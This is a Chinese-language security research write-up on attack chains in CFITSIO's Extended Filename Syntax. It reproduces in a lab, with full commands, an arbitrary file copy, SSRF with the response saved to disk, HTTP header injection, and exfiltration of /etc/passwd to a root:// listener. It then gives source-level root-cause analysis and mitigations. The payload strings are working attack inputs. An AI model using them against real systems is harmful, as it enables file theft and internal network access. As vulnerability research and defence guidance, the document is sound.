【漏洞研究】文件名攻击面:CFITSIO EFS攻击链分析
字数 7610
更新时间 2026-10-25 15:31:17

【漏洞研究】文件名攻击面:CFITSIO EFS攻击链分析

一句话结论:CFITSIO 的 Extended Filename Syntax(EFS)把「打开哪个文件」扩展成了一个微型解释器——一个文件名字符串里可以同时声明输入位置、输出副本、协议 Driver(http/ftp/root://)与格式转换子句;当应用把这些字符串直接交给 fits_open_file() 时,一个看似普通的文件名就能组合出任意文件复制、SSRF 响应落盘、HTTP Header 注入、本地文件远程外传四套攻击链,根因是参数带解释器属性、输入能选择能力实现、副作用早于格式校验。

排版说明:本文为兼容纯文本存储环境做了等价书写——shell 命令里的续行反斜杠已全部合并为单行;文中「换行字节」指 0x0A 这个控制字符(原文用反斜杠 n 表示),「回车」指 0x0D;代码示例中的双引号字符串在 shell 单引号包裹下语义不变。

一、EFS 原理概览:文件名不是字符串,是一段程序

CFITSIO 是 NASA HEASARC 维护的 FITS 文件处理库。普通文件接口收到路径后只需解决一个问题:打开哪个文件。但 fits_open_file() 收到字符串后不会立即把它当普通路径交给操作系统,而是先按 Extended Filename Syntax 解析。一个字符串里可以同时包含:

  • 本地文件或远程 URL;
  • 输出文件位置(outfile);
  • HTTP、FTP、root:// 等协议 Driver;
  • HDU、行、列和图像区域选择条件;
  • 原始二进制数据的解释方式。

两个例子:

http://127.0.0.1:18080/probe.txt(/workspace/http-response.bin)
# 访问地址:http://127.0.0.1:18080/probe.txt;访问方式:http:// Driver;保存位置:/workspace/http-response.bin

/etc/passwd(root://127.0.0.1:1094//capture)[b500,1][*,*]
# 读取 /etc/passwd → 将前 500 字节解释成 500×1 的 8 位 FITS 图像 → 选择全部图像数据 → 通过 root:// Driver 写入远程

因此 EFS 中的「文件名」实际描述的是:从哪里读取 → 如何处理 → 写到哪里,即输入位置(本地文件还是远程地址)、处理方式(格式转换/区域选择)、输出位置(本地还是远程)。风险由此产生:外部用户表面上只控制了一个文件名,实际上可能同时控制文件读取、格式转换、网络访问和结果写入。

这类问题成立需要两个基本条件:1) 攻击者能控制传入 fits_open_file() 的完整字符串;2) CFITSIO 所在进程具有相应的文件读取/写入/网络访问权限。EFS 不会绕过操作系统权限,但可能把进程原本没直接暴露给外部用户的能力,通过一个文件名参数间接开放出来。

二、实验设计与环境

实验基于 Doyensec 的公开研究与最小化测试项目 github.com/doyensec/cfitsio-efs-playground,验证三个关键问题:这些文件/网络操作是否真的由 fits_open_file() 触发;输入最终不是合法 FITS 时已发生的操作是否会被撤销;多个正常功能能否组合成完整的数据读取与外传链路。

阶段 验证问题 关键证据
基线测试 环境和正常 FITS 调用是否可用 成功读取 sample.fits
任意文件复制 outfile 是否在格式校验前执行 程序报错,但 passwd.copy 已生成
SSRF 与响应落盘 文件名能否控制请求地址和响应保存路径 服务端收到 GET,本地文件包含响应
HTTP Header 注入 URL Path 中的换行能否改变 HTTP 结构 捕获端出现自定义 Header
本地文件外传 普通文件能否转换后经可写 Driver 发出 ROOTD 收到 FITS Header 和文件内容

环境构成:宿主机当前目录挂载到容器 /workspace;Docker 容器运行 CFITSIO 4.6.3;fits-sample-opener 把输入字符串直接传给 fits_open_file()(已启用扩展文件名语法)。构建:

git clone https://github.com/doyensec/cfitsio-efs-playground.git
cd cfitsio-efs-playground
docker build -t cfitsio:4.6.3 .

基线命令(多行已合并):

docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener '/workspace/sample.fits'
# Opening file via fits_open_file (extended filename syntax enabled)
# Result: NAXIS=2 [2000 x 4]
# Done.

参数含义:--rm 退出后自动删临时容器;-v $(pwd):/workspace 挂载当前目录;cfitsio:4.6.3 实验镜像;fits-sample-opener 最小测试程序。基线成功说明环境、挂载、合法 FITS 调用均正常。

三、攻击原语一:任意文件复制

EFS 的 outfile 语法为 input.fits(output.fits):括号前是输入位置,括号内是输出位置。该功能原本用于创建输入副本或保存解压/过滤/转换结果。安全问题不在「存在复制功能」,而在于外部输入可以同时指定读哪个文件和把副本写到哪。注意:它首先形成的是任意文件复制,不是天然的任意文件读取——只有当 outfile 指向 Web 可访问目录、共享目录、任务产物目录等攻击者可取回的位置时,才进一步转化为内容泄露。

对照组(合法 FITS 复制):

docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener '/workspace/sample.fits(/workspace/sample-copy.fits)'
sha256sum sample.fits sample-copy.fits   # 两文件哈希一致

哈希一致证明括号中的 outfile 会触发真实文件复制,而不是只记录一个逻辑输出名。

关键时序实验(非 FITS 复制):把输入换成容器内 /etc/passwd:

docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener '/etc/passwd(/workspace/passwd.copy)'
# 程序最终返回 FITS 格式错误(This does not look like a FITS file)
head -n 10 passwd.copy   # 但副本已存在且包含原始内容

这验证了一个时序问题:CFITSIO 是先确认 /etc/passwd 为合法 FITS 再执行 outfile,还是先创建副本、之后才格式校验?答案是后者——outfile 的写入发生在最终 FITS Header 校验之前,程序返回失败并不会自动撤销已完成的副作用。(本实验读的是容器内部 /etc/passwd,真实环境的可读范围取决于进程权限。)

四、攻击原语二:SSRF 与响应落盘

EFS 允许用 HTTP URL 作为输入,同时继续用 outfile 保存结果(http://host/file(local-copy)):HTTP Driver 从远程读取 + outfile 把结果写本地。需同时观察两个证据:服务端是否收到请求(证明网络访问确实由 CFITSIO 发起);本地输出是否包含响应(证明这不是只能判断请求是否成功的盲 SSRF)。

启动可控服务(访问 /probe.txt 返回唯一标记):

mkdir -p http-root
printf 'CFITSIO-EFS-SSRF-LAB' > http-root/probe.txt
python3 -m http.server 18080 --directory http-root

触发(--network=host 仅为让容器能访问宿主机测试服务,与漏洞本身无关):

docker run --network=host --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener 'http://127.0.0.1:18080/probe.txt(/workspace/http-response.bin)'

客户端仍返回 FITS 格式错误(因为响应只是普通文本),但服务端日志出现对 /probe.txt 的 200 请求,cat http-response.bin 看到预设标记 CFITSIO-EFS-SSRF-LAB。实际执行链:访问指定 HTTP 地址 → 读取响应内容 → 将响应写入指定本地路径 → 最后才尝试按 FITS 解析。这一原语的危害不止 SSRF:若 outfile 位于可读取位置,攻击者还能取得内网接口响应。

五、攻击原语三:HTTP 请求头注入

SSRF 已证明文件名可控制主机、端口和 URL Path。但部分内部接口需要特定 Host、Authorization 或自定义 Header,仅控制 Path 未必能访问。CFITSIO 传统 HTTP Driver 会把 Path 直接拼进请求行,若 Path 中的换行字节没有在进入请求构造前被拒绝,换行之后的内容就可能被服务端解释为新的 Header。

用最小 Socket 服务直接打印 CFITSIO 发出的原始请求(返回 2880 字节响应体以符合 FITS 记录块大小、减少无关读取异常):

import socket
server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 18081)); server.listen(1)
conn, addr = server.accept()
request = conn.recv(16384)
print(request.decode('latin-1', errors='replace'))
body = b'X' * 2880
conn.sendall(b'HTTP/1.0 200 OK' + 回车换行 + b'Content-Length: 2880' + 回车换行 + 回车换行 + body)
conn.close(); server.close()

触发时利用 Bash 的 $'...' 把反斜杠 n 序列转换为真实换行字节(普通单引号只会传入字面字符):

docker run --network=host --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener $'http://127.0.0.1:18081/test HTTP/1.1换行X-EFS-Lab: injected换行X-Pad:'

Payload 进入 Path 后内容为 /test HTTP/1.1 + 换行 + X-EFS-Lab: injected + 换行 + X-Pad:。捕获端收到:

GET /test HTTP/1.1
X-EFS-Lab: injected
X-Pad: HTTP/1.0
User-Agent: FITSIO/HEASARC/4.0603
Host: 127.0.0.1

三个要点:/test HTTP/1.1 提前结束攻击者控制的请求行;X-EFS-Lab: injected 是新增 Header;X-Pad: 吸收了 CFITSIO 自动追加的 HTTP/1.0。自定义 Header 出现在捕获端,证明文件名内容已从 URL Path 跨越到 HTTP 协议结构。

六、攻击原语四:通过 root:// 外传本地文件

前面证明了本地文件读取、HTTP 访问、outfile 写入。要把本地文件直接发到远端还需解决两点:HTTP Driver 主要用于读取、不能作为本地文件的远程写入端;/etc/passwd 不是 FITS 文件、无法直接进入后续 FITS 输出流程。因此组合两项 EFS 能力:Raw Data Clause(将普通字节包装成 CFITSIO 可处理的 FITS 图像)+ root:// Driver(创建远程对象并写入处理后的数据)。

先启动实验自带的 root.py 模拟最小 ROOTD 服务:

python3 root.py | tee root-capture.log

完整 Payload:

docker run --network=host --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener '/etc/passwd(root://127.0.0.1:1094//capture)[b500,1][*,*]'

各部分含义([b500,1] 不是为了读取 FITS,而是把 /etc/passwd 前 500 字节转换成一个具有合法 FITS Header 的数据对象):

组成 作用
b 每个元素按 8 位字节解释,对应 BITPIX=8
500,1 构造 500×1 的二维图像
[,] 选择转换后的全部图像数据

执行目的拆解:读取 /etc/passwd 前 500 字节 → 生成 500×1、BITPIX=8 的 FITS 对象 → 选择全部数据 → 通过 root:// 创建并写入远程文件。服务端记录:

ROOTD_OPEN
ROOTD_PUT
PUT offset=0 length=2880
PUT offset=2880 length=2880

FITS 使用 2880 字节逻辑记录块,所以第一个块主要是动态生成的 FITS Header(含 BITPIX=8、NAXIS=2、NAXIS1=500、NAXIS2=1,与 [b500,1] 完全对应),第二个块包含 500 字节 /etc/passwd 内容及对齐填充。至此闭环证明:本地普通文件 → Raw Data 转换 → 合法 FITS 数据对象 → root:// 远程写入的完整外传链。

七、源码分析与根因

5.1 API 语义边界:测试程序同时提供了 fits_open_file()(允许 EFS)与 fits_open_diskfile()。后者不是在解析后过滤危险字段,而是从入口处把整个字符串当字面磁盘路径处理:通过 OPEN_DISK_FILE 状态向 ffopen() 传控制信号,open_disk_file 分支直接把完整输入复制到 infile、强制选 file://,清空 outfile/扩展选择/过滤参数,最关键的是不调用 ffifile2()。所以「安全模式」的本质不是黑名单过滤,而是取消解释器语义——括号、方括号、协议前缀不再被理解为指令。防护重点不应是过滤几个危险协议,而应根据业务选择正确 API:只需本地文件时就从接口层关闭 EFS。这种 API 二象性为 SAST 规则提供了极佳特征点:用 CodeQL/Semgrep 把 fits_open_file() 标为危险 Sink,追踪不可信输入是否未经验证直接流入;若上下文真实意图只是本地文件,工具应触发高危告警并建议改用 fits_open_diskfile()。

5.2 从字符串解析到能力调度:普通 fits_open_file() 进入 ffopen() 后,ffifile2() 把一段文本拆成 urltype、infile、outfile 和多种过滤字段,解析结果进入 Driver 表,由 urltype2driver() 选择实际 I/O 实现。深层含义:用户输入不只是数据,而是参与了控制流选择——urltype 决定调用本地文件/HTTP/ROOTD 代码,outfile 决定是否额外创建写入文件,checkfile() 甚至能继续改写 urltype/infile/outfile,open() 最终用进程自身权限执行真实 I/O。EFS 的攻击面不是传统路径穿越,而更接近一个能力路由器。

5.3 核心时序缺陷:副作用先于格式校验(全文最关键):ffopen() 完成 EFS 解析后,会先调用选中 Driver 的 open();只有 Driver 已打开输入、创建副本或完成网络下载后,函数才调用 ffldrc() 和 ffrhdu() 读取并验证 FITS Header。在文件复制场景中 file_open() 内部已创建 outfile 并完成复制;在 HTTP 场景中连接和响应读取也已发生;之后 ffrhdu() 才发现内容不是合法 FITS。FITS Header 校验只回答“这个对象能否继续作为 FITS 处理”,不是文件/网络操作的事务前置条件,CFITSIO 也没有在失败后对 outfile、HTTP 请求或远程写入统一回滚。上层程序看到一次失败调用,并不能推导系统状态未变——这比单一输入校验缺失更值得注意:问题来自校验域与副作用域不一致。

5.4 HTTP Header 注入:跨越两层语法边界:HTTP Driver 先把 URL 拆成主机、端口和 fn,再用 snprintf() 把 fn 拼进请求行、追加 User-Agent 和 Host。代码只检查最终字符串长度,没有在进入请求结构前拒绝回车/换行。第一层(EFS 和 URL 解析器)把换行后的内容视为 Path 的一部分,第二层(HTTP 解析器)把相同字节视为行分隔符和 Header——这是典型的跨解析器语义错位。长度检查只能防缓冲区越界,无法阻止语法边界被突破。根因不是简单的未过滤换行,而是一个字段从 URL 语法进入 HTTP 语法时没按目标语法重新约束。此外 HTTP Driver 强依赖 snprintf() 长度截断处理 URL 切分与重组,而 EFS 本质是一个充斥括号、方括号等定界符的复杂状态机,此类场景不仅是协议注入,也是缓冲区溢出、越界读写等内存损坏漏洞的高发区。

5.5 root:// 外传:合法对象转换后的能力组合:HTTP Driver 明确拒绝 READWRITE,但 ROOTD 协议定义了远程创建、写入、刷新、关闭操作,ROOTD_PUT 携带偏移、长度及原始数据,因此可承担输出链路中的远程写入端。单独的 root:// 仍不足以外传 /etc/passwd(普通文本无法通过 FITS 流程),[b500,1] 起到关键桥接:它不是修改原文件,而是将普通字节重新解释为 BITPIX=8、NAXIS1=500、NAXIS2=1 的合法 FITS 图像。本地文件内容经一次对象转换后获得了进入后续 FITS 输出流程的资格。这体现的不是单个危险函数,而是能力组合:本地文件 Driver(读取)+ Raw Data Clause(转换)+ root:// Driver(远程写入),三个功能分别看都符合科学数据处理需求,组合后形成完整数据外传链——本质是普通数据通过格式转换完成对象合法化,随后进入一个高权限输出通道。

5.6 总根因:四个攻击原语共同依赖三项设计特征:1) 参数具有解释器属性(文件名可声明协议、输入、输出、转换规则);2) 输入能选择能力实现(urltype 直接决定用哪个 Driver);3) 副作用与格式校验解耦(Driver 先执行、FITS Header 后校验、失败时缺统一回滚)。风险不是某一协议 Driver 单独存在,而是外部输入能编排多个具有进程权限的 I/O 能力。

八、防护建议

按优先级:

  • 接口层语义阻断(首选):业务只涉本地普通文件时强制用 fits_open_diskfile(),从控制流入口剥离输入字符串的解释器属性,消除解析歧义。
  • 细粒度能力白名单与沙箱隔离:若确实依赖 EFS,必须在解析后、Driver 调度前,对 urltype 和 outfile 实施严格强类型白名单(拒绝 root:// 等非预期协议);同时给解析进程配置 Seccomp-bpf 或 AppArmor,在系统调用层剥夺它发起主动外连(如 connect)的能力。
  • 副作用的最终一致性审计:鉴于副作用早于格式校验发生,上层在捕获到处理失败(如状态 104/108)时不能假设系统状态未受污染;必须引入清理机制或在临时隔离区(如 /tmp 挂载点)内执行解析,确保异常退出时的中间文件/网络状态被彻底回收。

九、文件名威胁的影响面与方法论

CFITSIO EFS 不是孤立案例。ImageMagick、FFmpeg 中文件名可能触发协议访问、伪格式解析或 Coder 调用;ZIP/TAR 解压时归档条目名可能决定最终写入路径;Shell 通配符和 GNU tar 文件列表中,以 - 开头的文件名还可能被解释为命令行参数;跨平台文件系统与日志展示中,路径规范化、数据流和控制字符可能造成解析差异或审计欺骗。共同点是:文件名不再只是标识,而被后续组件继续当协议、参数、路径或语法解释。

因此传统「文件内容 Fuzzing」不够,需要建立「文件名作为攻击载荷」的测试方法论:除数据流跟踪审计(明确文件名被哪些后端组件当指令/协议继续解释),还应针对接口(如 fits_open_file)实施结构化 Fuzzing,用 AFL++ 或 libFuzzer 基于提取的特殊语法字典([b500,1]、root://、嵌套括号等)对解析状态机高频覆盖,系统性挖掘逻辑边界缺陷与内存安全漏洞。

十、总结

CFITSIO EFS 将文件读取、网络访问、格式转换和结果输出统一放入一个名为「文件名」的参数。本文通过四组实验验证了任意文件复制、SSRF 与响应落盘、HTTP Header 注入、本地文件远程外传。源码层关键结论:不可信字符串不仅参与数据解析,还能选择 Driver 和输出位置;且真实文件与网络副作用早于最终 FITS Header 校验发生,上层即使收到失败状态也不能认为系统未产生变化。评估文件处理接口时不能只关注文件内容,还要判断「文件名」是否已成为一个可执行的协议和数据流描述。

参考资料:Doyensec《CFITSIO Weaponized Filenames》、Doyensec CFITSIO EFS Playground、CFITSIO Extended File Name Syntax、HEASARC CFITSIO。

相似文章
相似文章
小程序二维码
 全屏